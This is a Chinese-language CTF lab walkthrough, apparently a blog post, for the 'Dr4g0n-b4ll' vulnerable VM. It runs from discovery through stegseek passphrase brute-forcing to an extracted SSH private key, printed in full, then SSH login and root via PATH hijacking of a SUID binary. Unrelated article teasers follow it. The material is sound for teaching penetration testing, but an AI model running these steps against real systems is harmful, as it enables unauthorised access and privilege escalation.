【web安全】Dr4g0n-b4ll 靶场笔记

搜索目标,使用:nmap -sn 192.168.111.0/24 扫描当前ip段的存货

-sn是忽略端口,只扫描存活,发现IP:192.168.111.133

先不要扫描,直接访问:192.168.111.133,打开是普通的网页

观察内容,这是一道CTF题目

打开源码,发现密文,base64解码多次,得到没啥用的东西

看似没啥用,但其实收尾呼应,这跟标题一样

思路就是当成目录来拼接

结果还真的是出现了隐藏目录,这个文件里有很多目录

全部都来访问一下吧,先保存下来,然后再用sed工具进行拼接可能性

sed 's|^|http://192.168.111.133|' secret.txt >> Secret.txt
sed 's|^|http://192.168.111.133/DRAGON%20BALL|' secret.txt >> Secret.txt
sed 's|^|http://192.168.111.133/DRAGON%20BALL/Vulhub|' secret.txt >> Secret.txt

拼接完后,就是这样子的

但有一些空格,需要变成%20

sed 's/ /%20/g' Secret.txt  SEcret.txt 

Python写个脚本跑一下,全是404,妈的兔子洞

import requests
f = open('www.txt','r',encoding='utf-8')
for i in f.readlines():
    res = requests.get(i.strip())
    print(res.text)

检查图片,下载图片下来,使用几个工具来检查

┌──(root㉿ kali)-[~/桌 面 ]                                                                                                                                                                   
└─# ls -liah aj.jpg                                                                                                                                                                        
659682 -rw-r--r-- 1 root root 74K  3月 20日  04:45 aj.jpg 

┌──(root㉿ kali)-[~/桌 面 ]                                                                                                                                                                   
└─# file aj.jpg                                                                                                                                                                            
aj.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 959x535, components 3  

┌──(root㉿ kali)-[~/桌 面 ]                                                                                                                                                                   
└─# exiftool aj.jpg                                                                                                                                                                        
ExifTool Version Number         : 12.76                                                                                                                                                    
File Name                       : aj.jpg                                                                                                                                                   
Directory                       : .                                                                                                                                                        
File Size                       : 75 kB                                                                                                                                                    
File Modification Date/Time     : 2024:03:20 04:45:57-04:00                                                                                                                                
File Access Date/Time           : 2024:03:20 04:45:58-04:00                                                                                                                                
File Inode Change Date/Time     : 2024:03:20 04:45:57-04:00                                                                                                                                
File Permissions                : -rw-r--r--                                                                                                                                               
File Type                       : JPEG                                                                                                                                                     
File Type Extension             : jpg                                                                                                                                                      
MIME Type                       : image/jpeg                                                                                                                                               
JFIF Version                    : 1.01                                                                                                                                                     
Resolution Unit                 : None                                                                                                                                                     
X Resolution                    : 1                                                                                                                                                        
Y Resolution                    : 1                                                                                                                                                        
Image Width                     : 959                                                                                                                                                      
Image Height                    : 535                                                                                                                                                      
Encoding Process                : Baseline DCT, Huffman coding                                                                                                                             
Bits Per Sample                 : 8                                                                                                                                                        
Color Components                : 3                                                                                                                                                        
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)                                                                                                                                         
Image Size                      : 959x535                                                                                                                                                  
Megapixels                      : 0.513 

查看捆绑

┌──(root㉿ kali)-[~/桌 面 ]                                                                                                                                                                   
└─# binwalk aj.jpg                                                                                                                                                                         
                                                                                                                                                                                           
DECIMAL       HEXADECIMAL     DESCRIPTION                                                                                                                                                  
--------------------------------------------------------------------------------                                                                                                           
0             0x0             JPEG image data, JFIF standard 1.01  

查看隐写,密码填了:xmen

因为是首页的提示,但要你输入密码,不一定是有隐写存在

┌──(root㉿ kali)-[~/桌 面 ]                                                                                                                                                                   
└─# steghide info aj.jpg                                                                                                                                                                   
"aj.jpg":                                                                                                                                                                                  
  format: jpeg                                                                                                                                                                             
  capacity: 4.2 KB                                                                                                                                                                         
Try to get information about embedded data ? (y/n) y                                                                                                                                       
Enter passphrase:                                                                                                                                                                          
steghide: could not extract any data with that passphrase!  

查看隐写,换一个工具

这个工具屌就屌在能使用字典爆破,字典是kali内置的,需要解压出来

而且字典很大,压缩前51M,解压后134M

┌──(root㉿ kali)-[~/桌 面 ]                                                                                  
└─# stegseek aj.jpg /usr/share/wordlists/rockyou.txt                                                      
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek                                                    
                                                                                                          
[i] Found passphrase: "love"B)                                                                            
                                                                                                          
[i] Original filename: "id_rsa".                                                                          
[i] Extracting to "aj.jpg.out".                                                                           
                                                                                                          
┌──(root㉿ kali)-[~/桌 面 ]                                                                                  
└─# ls                                                                                                    
aj.jpg  aj.jpg.out  secret.txt  Secret.txt  SEcret.txt 

┌──(root㉿ kali)-[~/桌 面 ]                                                                                  
└─# cat aj.jpg.out                                                                                        
-----BEGIN OPENSSH PRIVATE KEY-----                                                                       
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn                                    
NhAAAAAwEAAQAAAYEAwG6N5oDbTLLfRAwa7GCQw5vX0GWMxe56fzIEHYmWQw54Gb1qawl/                                    
x1oGXLGvHLPCQaFprUek6CA8u2XPLiJ7SZqGAIg6XyyJY1xCmnoaU++AcI9IrgSzNyYlSF                                    
o+QEIvwkNNA1mx9HuhRmANb06ZGzYDY6pGNvTSyvD4ihqiAXTye2A/cZmw7p5KLt4U0hSA                                    
qucYb/IA4aa/lThOSp5QWSmPKaTm0FALRX38dRWbTBv5iR/qQFDheot+G3FlfGWqEBNuX8                                    
SWnloCMT7QU+2N3YZYoDLI3zrQIOotKPbIUOWzciVpLXpnHPuKmHQ2SX6oJYmqpESID6l5                                    
9ciPQzn2d7yGTZcyYO0PtnfBFngoNL1f55puIly39XeNWiUPebVSb5jBEyl+3pZ96s/BO5                                    
Wvdopgb5VQX3h0832L3AkgW2X3tQp5FdkE/9nqxkSMfzZ6YdadpGVY5KboFiMnxWQyvB0a                                    
ucq45Tn9kyfAAj2AQF46L9udVE4ylEkKw17oVaD5AAAFgKIce5GiHHuRAAAAB3NzaC1yc2                                    
EAAAGBAMBujeaA20yy30QMGuxgkMOb19BljMXuen8yBB2JlkMOeBm9amsJf8daBlyxrxyz                                    
wkGhaa1HpOggPLtlzy4ie0mahgCIOl8siWNcQpp6GlPvgHCPSK4EszcmJUhaPkBCL8JDTQ                                    
NZsfR7oUZgDW9OmRs2A2OqRjb00srw+IoaogF08ntgP3GZsO6eSi7eFNIUgKrnGG/yAOGm                                    
v5U4TkqeUFkpjymk5tBQC0V9/HUVm0wb+Ykf6kBQ4XqLfhtxZXxlqhATbl/Elp5aAjE+0F                                    
Ptjd2GWKAyyN860CDqLSj2yFDls3IlaS16Zxz7iph0Nkl+qCWJqqREiA+pefXIj0M59ne8                                    
hk2XMmDtD7Z3wRZ4KDS9X+eabiJct/V3jVolD3m1Um+YwRMpft6WferPwTuVr3aKYG+VUF                                    
94dPN9i9wJIFtl97UKeRXZBP/Z6sZEjH82emHWnaRlWOSm6BYjJ8VkMrwdGrnKuOU5/ZMn                                    
wAI9gEBeOi/bnVROMpRJCsNe6FWg+QAAAAMBAAEAAAGBAL3SUJf4tFtMd4Egj85s02Ch8p                                    
nYEq2NObkPFZAtkNRFCaQafUdo72svGueFP0AI8q7bEuujqMByTHZvT5gq24MXsugDedE4                                    
la417F2F5UK3FvPx47gFWuQj9NMSciXhJEt1KBsN98U7zzMkvRv3ZIC7H0zJQsojZ2xZmF                                    
JjQzw8qJWbs/nTqf04l+TznYY+Q05S+IA1MTlmy8Xe7RweXxQVMuvZhvYmf3fld4vn7HF/                                    
hwAFQ4Z+Qm4n/BYGHh5ACXQFffrEiJ4B/hvS8KinkhZ1FoMNTHlDVUR5ALoQ/w0pSTExVL                                    
WeV3f5E6yRlGf+IGMjptYEkgSO4ScJzVhqjxtLp6RRxDR1S9eOBFC1b4t0buefxOMRkKbJ                                    
xhOMubESFLDS/3Eq/pzOSPvFkzJSUitD+1yFiXeZA2f86Y+bZgfvS5EPo6xCqQq2EatZgN                                    
/WEhnEc6smCpCIf1NDuzVjZVmHwd3mv30DP2+RiSoZ4yKasukSCkbsMtiucIgu5WSdIQAA                                    
AMEAgcd2TQt4UEVmQ20rydBD+2qkQefw7nN27vq7IyUeDyr1CxhdPkFjFhVCCsk7lNsxtP                                    
pyFIVMFLAUlt3eoKp4qU26kCtTIOnPLrMsiOwhVk/NU5fFSK3dqzVPNiNjWaLOwDmFYb39                                    
s+aFuQm2Vy/RzkyHNRmdkVflJcrqNOQuGXzo2t8qsnaPI4QAzrjRWF53j0BHQqlRPfvlfz                                    
SCC+KuMNvPJRRzhuRQmsbq9RWSLQk73ouTJwb3j9J55V86KI0nAAAAwQDlKLzSrV6qkMTO                                    
fBDHyK45r0KC2h+a1f2GvSa+rfILHbxgGDCu6Qk4CJMgSVoM11EcDw0j/SxwsPlCxbqs0q                                    
R/4WusHj1v/ysFb9MFlEcdXZOZShozjBU9PmkIbTBPSfdV6YoWhY5icG9Yy1WgNTv4+shR                                    
Pl1uHDVsHxhbK1isOz5cV3dqxvSZHTQ3cQhIMxTvpXw+JAbpPzNXtSQ0raT1l94h0Kp6Hu                                    
WvXuSZzwM8hGfYYFYlqL1l7RR7N46nBAsAAADBANb4j6c/cBPuITtIw+/GPKBb1Z15Su6b                                    
cYmthvUYneQMnt2czKF3XqEvXVPXmnbu9xt079Qu/xTYe+yHZAW5j7gzinVmrQEsvmdejq                                    
9PpqvWzsLFnkXYEMWdKmmHqrauHOcH0hJtEmHuNxR6Zd+XjiRsPuBGxNRE22L/+j++7wxg                                    
uSetwrzhgq3D+2QsZEbjhO+ViDtazKZVjewBCxm7O0NhPFFcfnwTOCDLg+U8Wd1uuVT1lB                                    
Bd8180GtBAAaGtiwAAAAlrYWxpQGthbGk=                                                                        
-----END OPENSSH PRIVATE KEY-----      

发达,是一条 openssh 的私钥

思路:先不用nmap扫描有没有开放ssh端口,直接连接,避免被发现

┌──(root㉿ kali)-[~/桌 面 ]                                                                                  
└─# ssh root@192.168.111.133 -i aj.jpg.out                                                                
The authenticity of host '192.168.111.133 (192.168.111.133)' can't be established.                        
ED25519 key fingerprint is SHA256:P12mV1blKWnZALZhtS7i9dBWGPg2ruqeEEv4IduCaGU.                            
This key is not known by any other names.                                                                 
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes                                  
Warning: Permanently added '192.168.111.133' (ED25519) to the list of known hosts.                        
root@192.168.111.133's password:  

尝试root没作用,但是发现root用户登录权限是开的

先尝试用其他用户名,毕竟现在密码有了,搞到用户名就行了

思路:去首页,或者登录页面看看哪些像是可以用来做用户名的

这里密钥说不能太开放,777权限太过开放了,只能600

┌──(root㉿ kali)-[~/桌 面 ]                                                                                  
└─# chmod 600 密 钥                                                                                         
                                                                                                          
┌──(root㉿ kali)-[~/桌 面 ]                                                                                  
└─# ssh xmen@192.168.111.133 -i 密 钥                                                                       
Linux debian 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64                                 
                                                                                                          
The programs included with the Debian GNU/Linux system are free software;                                 
the exact distribution terms for each program are described in the                                        
individual files in /usr/share/doc/*/copyright.                                                           
                                                                                                          
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent                                         
permitted by applicable law.                                                                              
Last login: Tue Jan  5 07:09:06 2021 from 192.168.43.111                                                  
xmen@debian:~$    

然后就连接上了

最后,root提权,先来寻找一下有root权限的文件有哪些

find / -perm -4000 -type f 2>/dev/null   

# 0是标准输入
# 1是标准输出
# 2>/dev/null  2是错误输出,扔去/dev/null文件夹里,自动清理掉

其中一个root文件在当前目录

看了一下这两个源代码和运行结果,应该要联想到是有关系的,毕竟是ctf,是简单一点的

然后采用环境变量提权的方法来耍,接下来我也只是一知半解

接下来先在我当前家目录下创建一个文件,用来运行提权的,最好在临时文件夹搞

我这次在临时文件夹搞吧

写入一个shell命令进去一个文件,等下用来执行

然后修改环境:export PATH=/tmp:$PATH 很明显是加了tmp在前面,优先级从/tmp开始找

这时候就劫持了ps命令,ps命令会转到 /tmp/ps 文件来运行,一运行就是shell命令

直接变成root权限,虽然不清楚为什么是root权限,但是知道/bin/bash能提权就行了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/501616.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

并发编程之CountDownLatch和CyclicBarrier的详细解析(带小案例)

CountDownLatch 倒计时锁存器 用来解决线程执行次序的问题 CountDownLatch主要有两个方法,当一个或多个线程调用await方法时,这些线程会阻塞。 其它线程调用countDown方法会将计数器减1(调用countDown方法的线程不会阻塞), 当计数器的值变为…

蓝桥杯刷题_day7_动态规划_路径问题

文章目录 DAY7下降路径最小和最小路径和地下城游戏 DAY7 下降路径最小和 【题目描述】 给你一个 n x n 的 方形 整数数组 matrix ,请你找出并返回通过 matrix 的下降路径 的 最小和 。 下降路径 可以从第一行中的任何元素开始,并从每一行中选择一个元…

基于Websocket的局域网聊天系统

1.1 研究背景及意义 本项目所对应领域的研究背景及意义[1]。新冠肺炎局域网通信发生以来,大数据、云计算、人工智能等新一代信息技术加速与交通、局域网通信、教育、金融等领域深度融合,让局域网通信防控的组织和执行更加高效,成为战“疫”的…

C++王牌结构hash:哈希表开散列(哈希桶)的实现与应用

目录 一、开散列的概念 1.1开散列与闭散列比较 二、开散列/哈希桶的实现 2.1开散列实现 哈希函数的模板构造 哈希表节点构造 开散列增容 插入数据 2.2代码实现 一、开散列的概念 开散列法又叫链地址法(开链法),首先对关键码集合用散列函数计算散列地址&…

Day57:WEB攻防-SSRF服务端请求Gopher伪协议无回显利用黑白盒挖掘业务功能点

目录 SSRF-原理&挖掘&利用&修复 SSRF无回显解决办法 SSRF漏洞挖掘 SSRF协议利用 http:// (常用) file:/// (常用) dict:// (常用) sftp:// ldap:// tftp:// gopher:// (…

使用AOP实现打印日志

首先创建annotation.SystemLog类: package com.gjh.annotation;import java.lang.annotation.ElementType; import java.lang.annotation.Retention; import java.lang.annotation.RetentionPolicy; import java.lang.annotation.Target;Target(ElementType.METHOD…

深度学习pytorch——nn.Module(持续更新)

作为一个初学者,发现构建一个简单的线性模型都能看到nn.Module的身影,初学者疑惑了,nn.Module到底是干什么的,如此形影不离,了解之后,很牛。 1、nn.Module是所有层的父类,比如Linear、BatchNor…

Bun安装与使用

Bun安装与使用。 它目前无法在windows上直接安装使用,必须通过虚拟机安装。 在win10虚拟机中安装 # 查看内核版本 $ uname -srm Linux 6.1.0-10-amd64 x86_64# 安装unzip解压工具 $ sudo apt install unzip# 下载安装脚本并开始安装 curl -fsSL https://bun.sh/ins…

C#使用SQLite(含加密)保姆级教程

C#使用SQLite 文章目录 C#使用SQLite涉及框架及库复制runtimes创建加密SQLite文件生成连接字串执行SQL生成表SQLiteConnectionFactory.cs 代码结构最后 涉及框架及库 自己在NuGet管理器里面安装即可 Chloe.SQLite:ORM框架Microsoft.Data.Sqlite.Core:驱…

3.Python数据分析—数据分析入门知识图谱索引(知识体系中篇)

3.Python数据分析—数据分析入门知识图谱&索引-知识体系中篇 一个人简介二数据获取和处理2.1 数据来源:2.2 数据清洗:2.2.1 缺失值处理:2.2.2 异常值处理: 2.3 数据转换:2.3.1 数据类型转换:2.3.2 数据…

【unity】解决unity编译器安装中文汉化包失败

如果有的同学中文包安装失败,我们找到相应的编译器版本,点击在资源管理器中显示按钮, 我们点击当前目录的上一级,进入编译器目录。 找到modules.json文件双击打开 我们找到简体中文,复制downloadUrl后面的值到浏览…

Spark SQL— Catalyst 优化器

Spark SQL— Catalyst 优化器 1. 目的 本文的目标是描述Spark SQL 优化框架以及它如何允许开发人员用很少的代码行表达复杂的查询转换。我们还将描述Spark SQL如何通过大幅提高其查询优化能力来提高查询的执行时间。在本教程中,我们还将介绍什么是优化、为什么使用…

K8S安装和部署(kubeadmin安装1主2从)

这里用kubeadmin方式进行安装部署 1. 准备三台服务器 服务器地址 节点名称 192.168.190.200 master 主 192.168.190.201 node1 从 192.168.190.202 node2 从 2. 主机初始化(所有主机) 2.1根据规划设置主机名 #切换到192.168.190.200 hostnamectl…

【C++的奇迹之旅】C++关键字命名空间使用的三种方式C++输入输出命名空间std的使用惯例

文章目录 📝前言🌠 C关键字(C98)🌉 命名空间🌠命名空间定义🌉命名空间使用 🌠命名空间的使用有三种方式:🌉加命名空间名称及作用域限定符🌠使用using将命名空间中某个成员…

【Frida】【Android】06_夜神模拟器中间人抓包

🛫 系列文章导航 【Frida】【Android】01_手把手教你环境搭建 https://blog.csdn.net/kinghzking/article/details/136986950【Frida】【Android】02_JAVA层HOOK https://blog.csdn.net/kinghzking/article/details/137008446【Frida】【Android】03_RPC https://bl…

如何更新STEAM税务信息

回复邮件 Here are three attachments:. Figure 1: My personal tax information file in the government system, including my TIN, permanent address and mailing address Figure 2. My tax payment certificate in China in 2002 was issued by the tax bureau, Figure 3:…

npm ERR! errno CERT_HAS_EXPIRED

1 问题描述 使用npm命令安装相关依赖报错:npm ERR! code CERT_HAS_EXPIRED npm ERR! errno CERT_HAS_EXPIRED npm ERR! request to https://registry.npm.taobao.org/vue%2fcli failed, reason: certificate has expired报错示例图如下所示: 2原因分析…

C语言循环结构的程序设计

在C语言中,循环结构是一种重要的控制结构,用于重复执行特定的代码块,直到满足特定的条件为止。循环结构使得程序可以更加灵活和高效地处理重复性的任务,从而提高了程序的可读性和可维护性。本文将深入介绍C语言中循环结构的程序设…

小型分布式文件存储系统GoFastDfs应用简介

前言 最近稍微留意了一下各个文件存储系统的协议,发现minio是LGPLV3, 而fastdfs 是GPL3,这些协议其实对于商业应用是一个大坑。故而寻找一些代替品。 go-fastdfs就是其中之一,官网在: go-fastdfs 具体应用 其实可以直接查看官网教程的。 下…

Jenkins详细安装配置部署

目录 简介一、安装jdk二、安装jenkins这里如果熟悉 Jenkins ,可以【选择插件来安装】,如果不熟悉,还是按照推荐来吧。注意: 三、插件安装如果上面插件安装,选择的不是【安装推荐的插件】,而是【选择插件来安…